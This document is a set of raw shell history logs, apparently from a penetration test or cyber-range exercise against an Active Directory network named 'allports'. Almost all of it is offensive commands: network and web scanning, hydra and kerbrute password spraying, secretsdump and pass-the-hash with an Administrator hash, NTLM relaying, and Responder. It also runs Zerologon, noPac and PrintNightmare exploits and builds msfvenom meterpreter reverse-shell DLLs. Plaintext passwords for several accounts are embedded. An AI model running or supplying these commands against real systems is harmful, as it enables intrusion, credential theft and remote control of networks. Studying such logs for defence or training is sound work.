crackmapexec ftp 10.0.1.6 -u '' -p ''
crackmapexec ftp 10.0.1.6
ls
cd ..
ls
mkdir librechat
cd librechat
ls
which ffuf
curl http://10.0.1.11
ls
cd ..
ls
cd nmap
ls
cat 10-0-1-11.nmap
cd ~/Downloads
ls
cat messages.json | jq
sudo apt install jq
cat messages.json | jq
ls
cat users.json| jq
cat users.json | grep "68dad1db2a0ceffc6f7f5770"
cat users.json | grep "68dad1db2a0ceffc6f7f5770" -ia
ls
cat messages.json| jq
ls
cat users.json | grep "68dad67f58ca252be7b4ae2e"
cat users.json | grep "68dad67f58ca252be7b4ae2e" -ia
cat users.json | jq
ls
cat files.json| jq
ls
mkdir bloodHoundStuff
cd bloodHoundStuff
ls
cd ..
rm -rf bloodHoundStuff
cd ..
mkdir bloodHoundStuff
cd bloodHoundStuff


_raw: : 1760810854:0;sublist3r -d allports.tours -t 2


_raw: : 1760810836:0;sublist3r -d allports.tours


_raw: : 1760810826:0;sudo apt install python3-dnspython python3-requests


_raw:
curl -v --max-time 10 "http://10.0.1.15:8080/"
dirbuster
# Full TCP port scan + service/version detection + OS detection + default NSE scripts\
sudo nmap -sS -p- -T4 -sV -O --version-intensity 5 --script=default \\
  -oA scans/10.0.1.15-discovery 10.0.1.15 -Pn\
# Full TCP port scan + service/version detection + OS detection + default NSE scripts\
sudo nmap -sS -p- -T4 -sV -O --version-intensity 5 --script=default 10.0.1.15 -Pn\
# Example: if HTTP on 8080 and SSH on 22 discovered\
sudo nmap -sV -sC -p22,8080 10.0.1.15 -Pn
# Full TCP port scan + service/version detection + OS detection + default NSE scripts\
sudo nmap -sS -p- -T4 -sV -O --version-intensity 5 --script=default 10.0.1.10 -Pn\
nc 10.0.1.10 6768
# Full TCP port scan + service/version detection + OS detection + default NSE scripts\
sudo nmap -sS -p- -T4 -sV -O --version-intensity 5 --script=default 10.0.1.10 -Pn\
nc 10.0.1.10 6768
ftp 10.0.1.10
ping chat.allports.tours
nc 10.0.1.10 6768
nikto -h http://10.0.1.30:8096\
ls
nano test.py
sftp root@10.0.1.30
sftp @10.0.1.30
sftp 10.0.1.30
sftp jellyfin@10.0.1.30
ssh jellyfin@10.0.1.30
ssh yeet@10.0.1.30
sudo nmap -sS -p 8080,8081,8090,8091 -sV --script "http-title,http-enum,robots.txt" 10.0.1.15 -oN http-info-10.0.1.15.txt
traceroute 10.0.1.15
sudo nmap -sS -p 3306 --script "mysql-info,mysql-empty-password,mysql-users" 10.0.1.15 -oN mysql-checks-10.0.1.15.txt


_raw:
: 1760810818:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" \\
  "(&(objectClass=person))" \\
  cn uid mail uidNumber gidNumber -LLL


_raw:
sudo vim /etc/hosts
curl "http://10.0.1.14"
curl -G "http://10.0.1.14"
curl -G "https://10.0.1.14"
ls
crackmapexec smb 10.0.1.21 -u svc_stabilize -p 1gyroscope --shares
crackmapexec --help
crackmapexec smb --help
crackmapexec smb 10.0.1.21 -u svc_stabilize -p 1gyroscope -d "APT" --shares
crackmapexec smb 10.0.1.21 -u svc_stabilize -p 1gyroscope -d "allports.local" --shares
crackmapexec smb 10.0.1.21 -u "rdavis" -p "rosdav50" -d "allports.local" --shares
crackmapexec smb 10.0.1.21 -u "rdavis" -p "rosdav50" -d "APT" --shares
crackmapexec smb --help
crackmapexec smb 10.0.1.21 -u "rdavis" -p "rosdav50" -d "APT" --local-auth
crackmapexec smb 10.0.1.21 -u "rdavis" -p "rosdav50" --local-auth
crackmapexec smb 10.0.1.21 -u "rdavis" -p "rosdav50" -d "allports.local"
crackmapexec smb 10.0.1.21 -u "rdavis" -p "rosdav50" -d "APT"
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50' -d 'APT'
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50' --help
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50'
rm -f /home/pentester/.nxc/workspaces/default/smb.db
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50' -d 'APT'
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50' -d 'allports.tours'
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50' -d 'allports.local'


_raw:
ls
cat users.json| grep "davis"
ls
cat users.json| jq
cat users.json | grep "user"
cat users.json | jq
cat users.json | jq | grep "name"
ls
which evil-winrm
crackmapexec 10.0.1.6 smb -u 'svc_stabilize' -p '1gyroscope'
crackmapexec smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope'
crackmapexec smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --shares
crackmapexec smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' --shares
crackmapexec smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' --shares
crackmapexec smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --shares
smbclient \\\\10.0.1.6\\IPC$ --help
smbclient \\\\10.0.1.6\\IPC$ -U APT-DC-01/svc_stabilize%1gyroscope
smbclient \\\\10.0.1.6\\IPC$ -U 'allports.local/svc_stabilize%1gyroscope'
smbclient \\\\10.0.1.6\\NETLOGON -U APT-DC-01/svc_stabilize%1gyroscope
smbclient \\\\10.0.1.6\\C$ -U 'allports.local/svc_stabilize%1gyroscope'
smbclient \\\\10.0.1.6\\IPC$ -U 'allports.local/svc_stabilize%1gyroscope'
evil-winrm --help
evil-winrm -i 10.0.1.6 -u svc_stabilize -p 1gyroscope
cat users.json| jq
which impacket
cd
ls
mkdir 10-0-1-20
cd 10-0-1-20
ls
impacket-secretsdump --help
impacket-secretsdump "allports.local"/"rdavis":"rosdav60"@10.0.1.20
impacket-secretsdump "allports"/"rdavis":"rosdav60"@10.0.1.20
impacket-secretsdump "allports.local"/"rdavis":"rosdav60"@10.0.1.20
impacket-secretsdump "10.0.1.20"/"rdavis":"rosdav60"@10.0.1.20
impacket-secretsdump "allports.local"/"rdavis":"rosdav50"@10.0.1.20D
impacket-secretsdump "allports.local"/"rdavis":"rosdav50"@10.0.1.20
impacket-secretsdump "APT"/"rdavis":"rosdav50"@10.0.1.20
cd /
ls
cd Dow
ls
cd
ls
cd Downloads
ls
vim hashes
hashcat hashes
cat hashes
vim thing
cat users.json
cat users.json | jq
ls
cat files.json | jq
grep -ira "ae0"
grep -ira "a024bffa-249a-4eec-b288-449598fb72fa"
ls
cat messages.json| jq
cat messages.json| jq | grep "filepath"
cat files.json
cat files.json | jq | grep -i "filepath"
nmap -sCV 10.0.1.14


_raw:
: 1760810699:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" \\
  "(&(objectClass=person))" \\
  cn uid mail uidNumber gidNumber -LLL


_raw: : 1760810686:0;nmap -sCV -vv chat.allports.tours


_raw:
: 1760810671:0;ldapsearch -x -H ldap://ldap.example.com -b "dc=example,dc=com" \\
  "(&(objectClass=person))" \\
  cn uid mail uidNumber gidNumber -LLL


_raw: : 1760810669:0;netexec smb 10.0.1.0/24 -u "dcarter" -p "pastry_princess"


_raw: : 1760810656:0;netexec smb 10.0.1.0/24 -u "ecarter" -p "pastry_princess"


_raw:
: 1760810593:0;ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" \\
  "(& (objectCategory=person) (!(objectClass=computer)) )" \\
  sAMAccountName displayName mail whenCreated distinguishedName -LLL


_raw: : 1760810585:0;netexec smb 10.0.1.0/24 -u "dcarter" -p "Pastry_Princess"


_raw: : 1760810573:0;netexec smb 10.0.1.0/24 -u "ecarter" -p "Pastry_Princess"


_raw:
: 1760810550:0;ldapsearch -x -H ldap://ad.example.com -b "DC=allports,DC=local" \\
  "(& (objectCategory=person) (!(objectClass=computer)) )" \\
  sAMAccountName displayName mail whenCreated distinguishedName -LLL


_raw:
: 1760810532:0;ldapsearch -x -H ldap://ad.example.com -b "DC=example,DC=com" \\
  "(& (objectCategory=person) (!(objectClass=computer)) )" \\
  sAMAccountName displayName mail whenCreated distinguishedName -LLL


_raw: : 1760810493:0;nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 10.0.1.99


_raw: : 1760810470:0;sublist3r -d allports.tours


_raw: : 1760810448:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.99:8080/secci/FUZZ -mc all -fc 404


_raw: : 1760810414:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.99:8080/FUZZ -mc all -fc 404


_raw: : 1760810408:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u https://10.0.1.99:8080/FUZZ -mc all -fc 404


_raw: : 1760810356:0;netexec smb 10.0.1.0/24 -u "ecarter" -p "Sunsets as a Service"


_raw:
greenbone
sudo apt-get install greenbone
cd Documents
nano traceroute_scan.txt
nano 10_0_1_30_intense.txt
nano 10_0_1_10.xm.
ls
nano 10.0.1.10.xml
rm 10.0.1.10.xml
nano 10.0.1.10.txt
clear
nano 10.0.1.1.txt
ls
mv 10.0.1.10.txt "10.0.1.10_intense.txt"
ls
mv 10_0_1_30_intense.txt "10.0.1.30_intense.txt"
ls
nano 10.0.1.1_intense.txt
ls
nano 10.0.1.6_intense.txt
nano 10.0.1.11_intense.txt
nano 10.0.1.14_intense.txt
nano 10.0.1.15_intense.txt
nano 10.0.1.20_intense.txt
nano 10.0.1.21_intense.txt
ls
rm *
ls
sudo rm *
l
ls
clear
ls
cd
clear


_raw: : 1760810321:0;mv 1.11.nuclei.txt penny-nuclei.txt


_raw: : 1760810257:0;ffuf -c -w pattern.txt:FUZZ -u http://FUZZ.rooms.allports.tours -t 40 -o rooms


_raw: : 1760810185:0;mysql -h 10.0.1.99 -u root --password= --connect-timeout=5 -e "SELECT VERSION();" || echo "no-empty"\


_raw: : 1760810175:0;apt install httpx-toolkit


_raw:
nxc smb -h | grep dc
nxc smb -h | grep ip


_raw: : 1760810056:0;netexec smb 10.0.1.0/24 -u "ecarter" -p "Sunsets as a Service"


_raw: : 1760810047:0;netexec smb 10.0.1.0/24 -u "dcarter" -p "Sunsets as a Service"


_raw: : 1760810034:0;sudo nmap -sV -p 3306 --script=mysql-empty-password,mysql-info 10.0.1.99


_raw:
apache 2.2.8
searchsploit "mysql 5.7"
searchsploit "2016-6662"
searchsploit "CVE-2016-6662"


_raw: : 1760809977:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.99/FUZZ -mc all -fc 404


_raw: : 1760809971:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u https://10.0.1.99/FUZZ -mc all -fc 404


_raw: : 1760809965:0;mysql -h 10.0.1.99 -u administrator -p --ssl-ca=mysql-certs.pem


_raw: : 1760809965:0;netexec smb 10.0.1.0/24 -u "bayfinn" -p "Sunsets as a Service"


_raw: : 1760809960:0;sudo sniper -+ allports.tours


_raw: : 1760809953:0;sudo sniper -+ allports.tours -o -re


_raw: : 1760809941:0;sudo sniper -+ allports.tours -m stealth -o -re


_raw: : 1760809890:0;sudo apt-get install openvas


_raw: : 1760809769:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u https://10.0.1.14/FUZZ -mc all -fc 404


_raw: : 1760809766:0;sudo apt-get dist-upgrade


_raw: : 1760809763:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u https://10.0.1.14/FUZZ -mc all -fc 401


_raw: : 1760809643:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.11:8000/FUZZ -mc all -fc 401


_raw: : 1760809635:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.11:8000/FUZZ -mc all


_raw: : 1760809627:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.11:8000/ -mc all


_raw: : 1760809582:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.11/FUZZ -mc all -fs 4831


_raw:
ls
cd Downloads
ls
cd ..
ls
cd Desktop
ls
cd ..
ls
cd shared
ls
cd ..
ls
tmux


_raw: : 1760809575:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.11/FUZZ -fr "error" -v


_raw: : 1760809538:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.11/api/FUZZ -mc all -fs 4831


_raw: : 1760809500:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.11/api/FUZZ -fr "error" -v


_raw: : 1760809462:0;sudo runuser -u _gvm -- gvm-manage-certs -a -f


_raw: : 1760809453:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.11/api/FUZZ -fr "error"


_raw:
nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50'
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50'


_raw: : 1760809383:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.11/api/FUZZ


_raw: : 1760809381:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.11/api/FUZZ -mc *


_raw: : 1760809380:0;hydra -l root -P /usr/share/wordlists/rockyou.txt -t 64 ssh://10.0.1.15


_raw: : 1760809348:0;ospd-scanner/bin/pip install ospd_scanner-x.y.z.tar.gz


_raw: : 1760809327:0;git clone https://github.com/1N3/Sn1per.git


_raw: : 1760809326:0;impacket-smbclient allports.local/Administrator@10.0.1.6 -hashes :a4fa38e8e61d094ab455cecda06105d3


_raw: : 1760809316:0;impacket-smbclient apt/Administrator@10.0.1.6 -hashes :a4fa38e8e61d094ab455cecda06105d3


_raw: : 1760809310:0;impacket-smbclient apt/Administrator@10.0.1.21 -hashes :a4fa38e8e61d094ab455cecda06105d3


_raw: : 1760809304:0;impacket-smbclient apt/Administrator@10.0.1.26 -hashes :a4fa38e8e61d094ab455cecda06105d3


_raw: : 1760809304:0;gobuster dir -u http://10.0.1.11/api -w /usr/share/wordlists/dirb/big.txt


_raw: : 1760809303:0;sudo nmap -sV -p 139,445 --script smb-os-discovery,smb-enum-shares,smb-enum-users,smb-protocols 10.0.1.6 -v


_raw: : 1760809300:0;gobuster dir -u http://10.0.1.11/api/ -w /usr/share/wordlists/dirb/big.txt


_raw: : 1760809294:0;gobuster dir -u https://10.0.1.11/api/ -w /usr/share/wordlists/dirb/big.txt


_raw: : 1760809291:0;impacket-smbclient apt/Administrator@10.0.1.20 -hashes :a4fa38e8e61d094ab455cecda06105d3


_raw: : 1760809285:0;sudo nmap -sV -p 139,445 --script smb-os-discovery,smb-enum-shares,smb-enum-users,smb-protocols 10.0.1.9 -oN nmap-smb.txt -v


_raw: : 1760809282:0;sudo nmap -sV -p 139,445 --script smb-os-discovery,smb-enum-shares,smb-enum-users,smb-protocols 10.0.1.9 -oN nmap-smb.txt


_raw: : 1760809252:0;impacket-ntlmrelayx -6 -t ldap://10.0.1.6 -wh prod.allports.local


_raw: evil-winrm -i 10.0.1.6 -u rdavis -p rosdavis50


_raw: : 1760809244:0;impacket-ntlmrelayx -6 -t ldap://10.0.1.6 -wh prod.allports.local --1 output


_raw: : 1760809225:0;impacket-ntlmrelayx -6 -t ldap://10.0.1.6 -wh prod.allports.local -1 output


_raw: : 1760809189:0;mysql -h 10.0.1.99 --skip-ssl-verify-server-cert -u root -p


_raw: : 1760809182:0;mysql -h 10.0.1.99 --skip-ssl-verify-server-cert -u cmiller -p


_raw: : 1760809179:0;impacket-smbclient apt/Administrator@10.0.1.20 -hashes :a4fa38e8e61d094ab455cecda06105d3


_raw: : 1760809167:0;impacket-smbclient allports.local/Administrator@10.0.1.20 -hashes :a4fa38e8e61d094ab455cecda06105d3


_raw: : 1760809147:0;impacket-smbclient -u Administrator -hashes :a4fa38e8e61d094ab455cecda06105d3 10.0.1.20


_raw: : 1760809054:0;gobuster dir -u https://10.0.1.11/api/ -w /usr/share/wordlists/dirb/big.txt


_raw: : 1760809043:0;gobuster dir -u http://10.0.1.11/api/ -w /usr/share/wordlists/dirb/big.txt


_raw: : 1760809034:0;gobuster dir http://10.0.1.11/api/ /usr/share/wordlists/dirb/big.txt


_raw: : 1760808953:0;systemctl status ospd-openvas.service


_raw: : 1760808950:0;nslookup penny.allports.local 10.0.1.6


_raw: : 1760808942:0;ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 admin@10.0.1.99


_raw: : 1760808928:0;ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 admin@10.0.1.30


_raw: : 1760808917:0;ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 admin@10.0.1.15


_raw: : 1760808906:0;hashcat --help | grep DES


_raw: : 1760808905:0;ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 admin@10.0.1.14


_raw: : 1760808897:0;hashcat --help | grep des


_raw: : 1760808894:0;hashcat --help | grep des cbc


_raw: : 1760808891:0;ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 admin@10.0.1.11


_raw: : 1760808814:0;ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 admin@10.0.1.10


_raw: : 1760808744:0;nxc smb 10.0.1.6 -u ../usernames.txt --no-bruteforce -p Skenzor7


_raw: : 1760808732:0;nxc smb 10.0.1.6 -u ../usernames.txt --no-bruteforce Skenzor7


_raw: : 1760808642:0;hydra -L ../unames -p 'Cyb3rrange!' -M targets rdp


_raw: : 1760808627:0;ssh 10.0.1.11 -KexALogrithms=+diffie-hellman-group1-sha1


_raw: : 1760808614:0;kerbrute passwordspray -dc-ip 10.0.1.6 ../usernames.txt Skenzor7


_raw: : 1760808607:0;kerbrute passwordspray -dc 10.0.1.6 ../usernames.txt Skenzor7


_raw: : 1760808596:0;kerbrute passwordspray -d allports.local ../usernames.txt Skenzor7


_raw: : 1760808573:0;ssh 10.0.1.11 -okexALogrithms=+diffie-hellman-group1-sha1


_raw: : 1760808569:0;hydra -L ../unames -p 'Cyb3rrange!' -M targets ssh


_raw: : 1760808562:0;ssh 10.0.1.10 -okexALogrithms=+diffie-hellman-group1-sha1


_raw: : 1760808518:0;./kerbrute userenum --dc 10.0.1.6 -d allports.local ~/ad_users.txt


_raw: : 1760808516:0;kerbrute passwordspray -d allports.local -dc-ip 10.0.1.6 ../usernames.txt Skenzor7


_raw: : 1760808504:0;kerbrute passwordspray -d allports.local -dc 10.0.1.6 ../usernames.txt Skenzor7


_raw: : 1760808465:0;echo 'emilio' >> ad_users.txt


_raw: : 1760808416:0;ssh 10.0.1.10 -okexALogrithms=+diffie-hellman-group1-sha1 -c acs128-cbc


_raw: : 1760808400:0;openssl s_client -connect 10.0.1.6:636 -showcerts </dev/null 2>/dev/null > ldap-server-certs.pem\


_raw: : 1760808387:0;openssl s_client -connect example.com:636 -showcerts </dev/null 2>/dev/null > ldap-server-certs.pem\


_raw: : 1760808364:0;sudo apt install kerbrute


_raw: : 1760808300:0;dig -x chat.allports.tours


_raw: : 1760808291:0;ldapsearch -x -H ldaps://example.com:3269 -b "DC=example,DC=com" -s sub "(objectClass=*)" -LLL


_raw: : 1760808281:0;hashcat pass /usr/share/wordlists/rockyou.txt


_raw: : 1760808262:0;hashcat --help | grep word


_raw: : 1760808255:0;hashcat --help | grep wordlist


_raw: : 1760808251:0;hashcat --help | grep wordlists


_raw: : 1760808239:0;hashcat -w /usr/share/wordlists/rockyou.txt pass


_raw: : 1760808226:0;gzip -d /usr/share/wordlists/rockyou.txt.gz


_raw: : 1760808225:0;ldapsearch -x -H ldaps://example.com:636 -b "DC=example,DC=com" -s sub "(objectClass=*)" -LLL


_raw:
: 1760808213:0;ldapsearch -x -H ldaps://example.com:636 -b "DC=example,DC=com" -s sub "(objectClass=*)" -LLL\
# or use STARTTLS\
ldapsearch -x -H ldap://example.com -ZZ -b "DC=example,DC=com" -s sub "(objectClass=*)" -LLL\


_raw: : 1760808197:0;ldapsearch -x -H ldap://example.com -b "DC=example,DC=com" -s sub "(objectClass=*)" -LLL\


_raw: : 1760808197:0;hydra -l root -P /usr/share/wordlists/rockyou.txt -t 64 ssh://10.0.1.99


_raw:
nmap -pn 10.0.1.0/24
ping 10.0.1.1
nmap -pn 10.0.1.0/24
ping 8.8.8.8
ping google.com
nmap -pn 10.0.1.0/24
nmap -sn 10.0.1.0/24
nslookup 10.0.1.15
cd /usr/share/wrodlists
cd /usr/share/wordlists
ls
gobuster
gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --wildcard
gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -wildcard
nslookup 10.0.1.11
10.0.1.15
nslookup 10.0.1.15
nslookup 10.0.1.30
nano /etc/hosts
sudo nano /etc/hosts
nslookup 10.0.1.20
dig -x 10.0.1.20
dig -x 10.0.1.15
dig -x 10.0.1.14
dig -x 10.0.1.11
dig +x 10.0.1.11
sudo nano /etc/hosts
ping 8.8.8.8
ping google.com


_raw:
flameshot
nmap --script smb2-security-mode.nse -p 445 10.0.1.20 -Pn
flameshot
Mousepad
cat /etc/responder/Responder.conf
touch /etc/responder/Responder.conf
sudo touch /etc/responder/Responder.conf
mousepad
mousepad /etc/responder/Responder.conf


_raw: : 1760808089:0;ldapsearch -x -H ldap://10.0.1.21 -b "DC=example,DC=com" "(&(objectClass=user)(servicePrincipalName=*))" cn,sAMAccountName,servicePrincipalName -LLL -E pr=1000\


_raw: : 1760808073:0;ldapsearch -x -H ldap://10.0.1.6 -b "DC=example,DC=com" "(&(objectClass=user)(servicePrincipalName=*))" cn,sAMAccountName,servicePrincipalName -LLL -E pr=1000\


_raw: : 1760808065:0;ldapsearch -x -H ldap://10.0.1.99 -b "DC=example,DC=com" "(&(objectClass=user)(servicePrincipalName=*))" cn,sAMAccountName,servicePrincipalName -LLL -E pr=1000\


_raw:
: 1760808037:0;# display KDC TLS certs (if KDC offers TLS/PKINIT)\
openssl s_client -connect 10.0.1.99:464 -showcerts </dev/null | openssl x509 -text -noout\


_raw:
: 1760808028:0;# display KDC TLS certs (if KDC offers TLS/PKINIT)\
openssl s_client -connect 10.0.2.88:464 -showcerts </dev/null | openssl x509 -text -noout\


_raw:
: 1760807981:0;# simple TCP/UDP port scan for KDC & kpasswd\
nmap -sU -sT -p U:88,T:88,U:464,T:464 --script krb5-enum-users,krb5-enum-users-discover 10.0.1.6 -oN kdc-nmap.txt


_raw: : 1760807921:0;mongo --host 10.0.1.14 --port 27018 --authenticationDatabase LibreChat


_raw:
git clone https://github.com/trustedsec/social-engineer-toolkit
set
cd setoolkit
ls ll
ls -la
cd social-engineer-toolkit
pip3 install -r requirements.txt
apt install python3-xyz
python setup.py
ls -la
cd setoolkit
set
/pentest/exploits/set# ./set-update
./set-update
ls -la
./seupdate
./seautomate
sudo apt install python3-seupdate
sudo apt install python3-pycrypto
sudo apt install python3
setoolkit
sudo setoolkit
exit


_raw: : 1760807909:0;mongo --host 10.0.1.14 --port 27018 -u admin -p password --authenticationDatabase LibreChat


_raw: : 1760807899:0;mongo --host 10.0.1.14 --port 27018 -u admin -p password --authenticationDatabase config


_raw: : 1760807890:0;mongo --host 10.0.1.14 --port 27018 -u admin -p password --authenticationDatabase local


_raw: : 1760807783:0;apt install mongodb-server-core


_raw: : 1760807713:0;mongo --host 10.0.1.14 --port 27017 -u admin -p password --authentication


_raw:
nmap --script smb2-security-mode.nse -p 445 10.0.1.20 -Pn
flameshorflameshot
flameshot
nmap --script smb2-security-mode.nse -p 445 10.0.1.21 -Pn


_raw:
responder -l eth0 -A
responder -I eth0 -A
sudo responder -I eth0 -A


_raw: : 1760807627:0;mysql -u administrator -h 10.0.1.99 --ssl-mode=DISABLED


_raw: : 1760807586:0;nmap -sV -p 3306 --script=mysql-info,mysql-empty-password 10.0.1.99 -oN nmap-mysql.txt\


_raw: : 1760807356:0;apt install  mongodb-server-core


_raw: : 1760807350:0;apt install deb mongodb-server-core


_raw:
ls
cd ..
ls
cd ..
ls
cat password.txt
clear
ls
cd Desktop
ls
mkdir pentest
cd pentest
ls
clear
vim initial_scope.txt
clear
ls
cd ip_10.0.1.11
vim notes_10.0.1.11.txt
ls
vim locals.txt


_raw:
nmap 10.0.1.0/24 -sV -sC
cd Downloads
ls
gobuster dir --url http://10.0.1.15 -w /usr/share/wordlists/dirb/big.txt
gobuster dir --url http://10.0.1.20 -w /usr/share/wordlists/dirb/big.txt
gobuster dir --url http://10.0.1.14 -w /usr/share/wordlists/dirb/big.txt
nmap -sn -sP 10.0.1.99
nmap -O 10.0.1.99
ssh root@10.0.1.99
ssh admin@10.0.1.99
gobuster dir --url http://10.0.1.99 -w /usr/share/wordlists/dirb/big.txt
ssh 7acc9520bf95@10.0.1.99
gobuster dir --url http://10.0.1.15 -w /usr/share/wordlists/dirb/big.txt
gobuster dir --url https://10.0.1.15 -w /usr/share/wordlists/dirb/big.txt
gobuster dir --url http://10.0.1.15:8080 -w /usr/share/wordlists/dirb/big.txt
gobuster dir --url http://10.0.1.15:8080 -w /usr/share/wordlists/dirb/common.txt
gobuster dir --url http://10.0.1.14:8080 -w /usr/share/wordlists/dirb/common.txt
gobuster dir --url http://10.0.1.14 -w /usr/share/wordlists/dirb/common.txt
gobuster dir --url http://10.0.1.14:5001 -w /usr/share/wordlists/dirb/common.txt
gobuster dir --url http://10.0.1.99 -w /usr/share/wordlists/dirb/common.txt
gobuster dir --url http://10.0.1.99 -w /usr/share/wordlists/dirb/extensions_common.txt
gobuster dir --url http://10.0.1.99 -w /usr/share/wordlists/dirb/catala.txt
gobuster dir --url http://10.0.1.99 -w /usr/share/wordlists/dirb/euskera.txt
gobuster dir --url http://10.0.1.99 -w /usr/share/wordlists/dirb/vulns/apache.txt
gobuster dir --url http://10.0.1.99 -w /usr/share/wordlists/dirb/vulns/tomcat.txt
gobuster dir --url http://10.0.1.99 -w /usr/share/wordlists/dirb/big.txt
nmap 10.0.1.14 -sV -sC -O -p-
nmap 10.0.1.14 -sV -sC -O -p- -v
nmap 10.0.1.15 -sV -sC -O -p- -v
gobuster dir --url http://10.0.1.99:8090 -w /usr/share/wordlists/dirb/big.txt
gobuster dir --url http://10.0.1.15:8090 -w /usr/share/wordlists/dirb/big.txt
gobuster dir --url http://10.0.1.15:8091 -w /usr/share/wordlists/dirb/big.txt
nmap 10.0.1.10 -sV -sC -O -p- -v
telnet 10.0.1.10 6768
mysql -u root -p


_raw:
cd ~
ls
zerologon
zerologon_tester.py
git clone
git clone https://github.com/SecuraBV/CVE-2020-1472.git
ls
cd CVE-2020-1472
ls
pip install -r requirements.txt
python3 -m nenv pentest
python3 -m venv pentest
source pentest/bin/activate
pip install -r requirements.txt
./zerologon_tester.py APTC-DC-01 10.0.1.6
sudo ./zerologon_tester.py APTC-DC-01 10.0.1.6
ls
cd pentest
ls
cd ../
sudo ./zerologon_tester.py APTC-DC-01 10.0.1.6
./zerologon_tester.py APTC-DC-01 10.0.1.6
chmod -x /zerologon_tester.py
chmod +x ./zerologon_tester.py
./zerologon_tester.py APTC-DC-01 10.0.1.6
nbtstat -A 10.0.1.6
sudo apt install nbtstat
ping -a 10.0.1.6
nbtscan
nbtscan 10.0.1.6
./zerologon_tester.py APT-DC-01 10.0.1.6
nmap -p 445 --script smb-vuln-ms17-010 10.0.1.6
nmap -p 445 --script smb-vuln-ms17-010 10.0.1.10
nmap -p 445 --script smb-vuln-ms17-010 10.0.1.20
nmap -p 445 --script smb-vuln-ms17-010 10.0.1.21
cd ../
git clone https://github.com/Ridter/noPac.git
cd noPac
python noPac.py allports.local/Administrator:'Role-Trace-Batch-7749' -dc-ip 10.0.1.6
pip install -r requirements.txt
python noPac.py allports.local/Administrator:'Role-Trace-Batch-7749' -dc-ip 10.0.1.6
pip install pkg_resources
apt install pkg_resources
sudo apt install pkg_resources
pip install --upgrade setuptools\
python noPac.py allports.local/Administrator:'Role-Trace-Batch-7749' -dc-ip 10.0.1.6
pip install six
pip uninstall six
pip install six
python noPac.py allports.local/Administrator:'Role-Trace-Batch-7749' -dc-ip 10.0.1.6
python noPac.py allports.local/Administrator:'Role-Trace-Batch-7749' -dc-ip 10.0.1.6 -use-ldap
rpcdump
find . iname rpcdump.py
rpcdump.py
rpcdump.py @10.0.1.6 | egrep 'MS-RPRN|MS-PAR'
cd ../
ls
git clone https://github.com/nathanealm/PrintNightmare-Exploit.git
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.18.103.254 LPORT=9000 -f dll -o /home/snowdox/RedTeam/Print/Print_Mal.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.201 LPORT=5555 -f dll -o /reverse_sh.dll
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.201 LPORT=5555 -f dll -o /reverse_sh.dll
ls
cd ../
ls
cd ../
ls
cd ~
ls
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.201 LPORT=5555 -f dll -o /home/reverse_sh.dll
ls
cd ../
ls
cd ~
ls
cd ../
ls
smbserver.py
smbserver.py share . -smb2support


_raw:
ifcondig
ifconfig
ls
git clone https://github.com/nathanealm/PrintNightmare-Exploit.git
cd PrintNightmare-Exploit
ls
python CVE-2021-1675.py allports.local/Administartor:Role-Trace-Batch-7749@10.0.1.6 '\\\\10.0.254.201\\home\\reverse_sh.dll'
cd ../
ls
GetNPUsers.py
nmap --script smb2-security-mode.nse -p 445 10.0.1.6 -Pn
nmap --script smb2-security-mode.nse -p 445 10.0.1.20 -Pn
nmap --script smb2-security-mode.nse -p 445 10.0.1.21 -Pn
resonder
